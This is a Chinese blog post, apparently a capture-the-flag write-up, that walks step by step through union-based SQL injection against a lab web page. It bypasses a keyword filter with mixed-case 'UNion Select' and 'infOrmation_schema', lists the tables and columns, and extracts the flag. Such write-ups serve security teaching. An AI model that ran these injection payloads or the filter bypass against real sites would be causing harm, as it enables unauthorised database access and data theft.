CTF—Web—SQL注入—03—联合注入+关键字过滤

  • Post author:
  • Post category:其他





前言


题目分类:

CTF—Web—SQL注入—03—联合注入+关键字过滤




一、题目描述

题目:SQL注入

链接:http://192.168.87.175



二、解题步骤



1、回显判断注入方式

Step1: http://192.168.87.175/viewld.do?ldid=2,回显正常。有内容

Step2: http://192.168.87.175/viewld.do?ldid=2’,回显为空,无内容

Step3:http://192.168.87.175/viewld.do?ldid=2 and 1=1,回显为非法字符

Step4:http://192.168.87.175/viewld.do?ldid=2 And 1=1,回显正常。有内容

此时

提示and被视为非法字符



and被过滤。

Step5:http://192.168.87.175/viewld.do?ldid=2 And 1=2,回显为空,无内容


此时提示and后的内容被执行,可以尝试联合查询

注入方式为联合查询。



2、尝试列数

Step6:先查看有几列,http://192.168.87.175/viewld.do?ldid=2 order by 3,回显,非法字符。or被过滤。

Step7:http://192.168.87.175/viewld.do?ldid=2 Order by 3,回显正常。有内容

Step8:不断尝试增加order后的数字3、4、5,

http://192.168.87.175/viewld.do?ldid=2 Order by 5 回显正常。有内容

Step9:http://192.168.87.175/viewld.do?ldid=2 Order by 6,回显为空,无内容


由此得知此数据有5列

尝试列数,直至回显异常为止。



3、寻找注入点

Step10: http://192.168.87.175/viewld.do?ldid=2 union select 1,2,3,4,5–+,回显,非法字符,根据以上经验,猜测关键字union,select被过滤。

Step11: http://192.168.87.175/viewld.do?ldid=2 Union Select 1,2,3,4,5–+,回显数据库中内容,注入点成功找到!

在这里插入图片描述



4、尝试注入(库,表,列,字段)

Step12: 经尝试可得,union、select被过滤。http://192.168.87.175/viewld.do?ldid=2 Union Select 1,database(),3,4,5# 查询

数据库名字为news



在这里插入图片描述

Step13:此时可知

database为news

。经过尝试,过滤字符有or、from。

访问url:http://192.168.87.175/viewld.do?ldid=2 UNion Select 1,(Select group_concat(table_name) From infOrmation_schema.tables where table_schema=database()),3,4,5#

在这里插入图片描述

Step14:由此得知

表名为 tb_flag



访问url:http://192.168.87.175/viewld.do?ldid=2 UNion Select 1,(Select group_concat(column_name) From infOrmation_schema.columns where table_name=‘tb_flag’),3,4,5#

在这里插入图片描述

Step15:由此得知

列名为flag



访问url为:http://192.168.87.175/viewld.do?ldid=2 UNion Select 1,(Select flag From tb_flag),3,4,5#

在这里插入图片描述

flag{1396265adbb760c86475304b98e3f61c}




三、总结

1、手工注入步骤

第一步:判断注入类型

第二步:判断列数

第三步:寻找注入点

第四步:爆库,表,列,字段



版权声明:本文为qq_22160557原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。